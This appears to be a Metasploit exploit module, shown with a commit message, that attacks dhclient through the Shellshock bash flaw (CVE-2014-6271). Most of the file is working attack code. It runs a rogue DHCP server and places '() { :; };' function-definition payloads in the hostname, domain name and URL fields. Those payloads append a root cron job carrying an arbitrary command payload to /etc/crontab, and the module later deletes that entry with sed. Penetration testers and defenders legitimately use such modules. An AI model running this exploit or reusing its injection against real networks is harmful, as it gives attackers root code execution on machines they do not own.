Adam Cammack
cf9b94a964
The `needs_cleanup` flag needs to be set per-module when an exploit needs an interactive session to clean up. Some `FileDropper` exploits need additional cleanup to what the mixin provides, but since all `FileDropper`s already mark themselves as needing cleanup those are not covered here. A few of these could potentially be refactored to use the original exploitation method to clean up or to compile the list of files/commands to clean up ahead of time, but that is out of the scope of this fix.
98 lines
3.2 KiB
Ruby
98 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/proto/dhcp'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::DHCPServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Dhclient Bash Environment Variable Injection (Shellshock)',
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'Description' => %q|
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This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
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handles external environment variables. This module targets dhclient by responding
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to DHCP requests with a malicious hostname, domainname, and URL which are then
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passed to the configuration scripts as environment variables, resulting in code
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execution. Due to length restrictions and the unusual networking scenario at the
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time of exploitation, this module achieves code execution by writing the payload
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into /etc/crontab and then cleaning it up after a session is created.
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|,
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'Author' =>
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[
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'Stephane Chazelas', # Vulnerability discovery
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'egypt' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'References' =>
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[
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[ 'CVE', '2014-6271' ],
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[ 'CWE', '94' ],
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[ 'OSVDB', '112004' ],
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[ 'EDB', '34765' ],
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[ 'URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/' ],
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[ 'URL', 'https://seclists.org/oss-sec/2014/q3/649' ],
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[ 'URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/' ]
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],
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'Payload' =>
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{
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# 255 for a domain name, minus some room for encoding
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'Space' => 200,
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic telnet ruby',
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}
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},
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'Targets' => [ [ 'Automatic Target', { }] ],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Sep 24 2014',
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'Notes' =>
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{
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'AKA' => ['Shellshock']
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}
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))
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deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
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self.needs_cleanup = true
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end
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def on_new_session(session)
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print_status "Cleaning up crontab"
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# XXX this will brick a server some day
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session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
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end
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def exploit
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hash = datastore.copy
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# Quotes seem to be completely stripped, so other characters have to be
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# escaped
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p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
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echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
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hash['DOMAINNAME'] = "() { :; };#{echo}"
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if hash['DOMAINNAME'].length > 255
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raise ArgumentError, 'payload too long'
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end
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hash['HOSTNAME'] = "() { :; };#{echo}"
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hash['URL'] = "() { :; };#{echo}"
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start_service(hash)
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begin
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while @dhcp.thread.alive?
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sleep 2
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end
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ensure
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stop_service
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end
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end
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end
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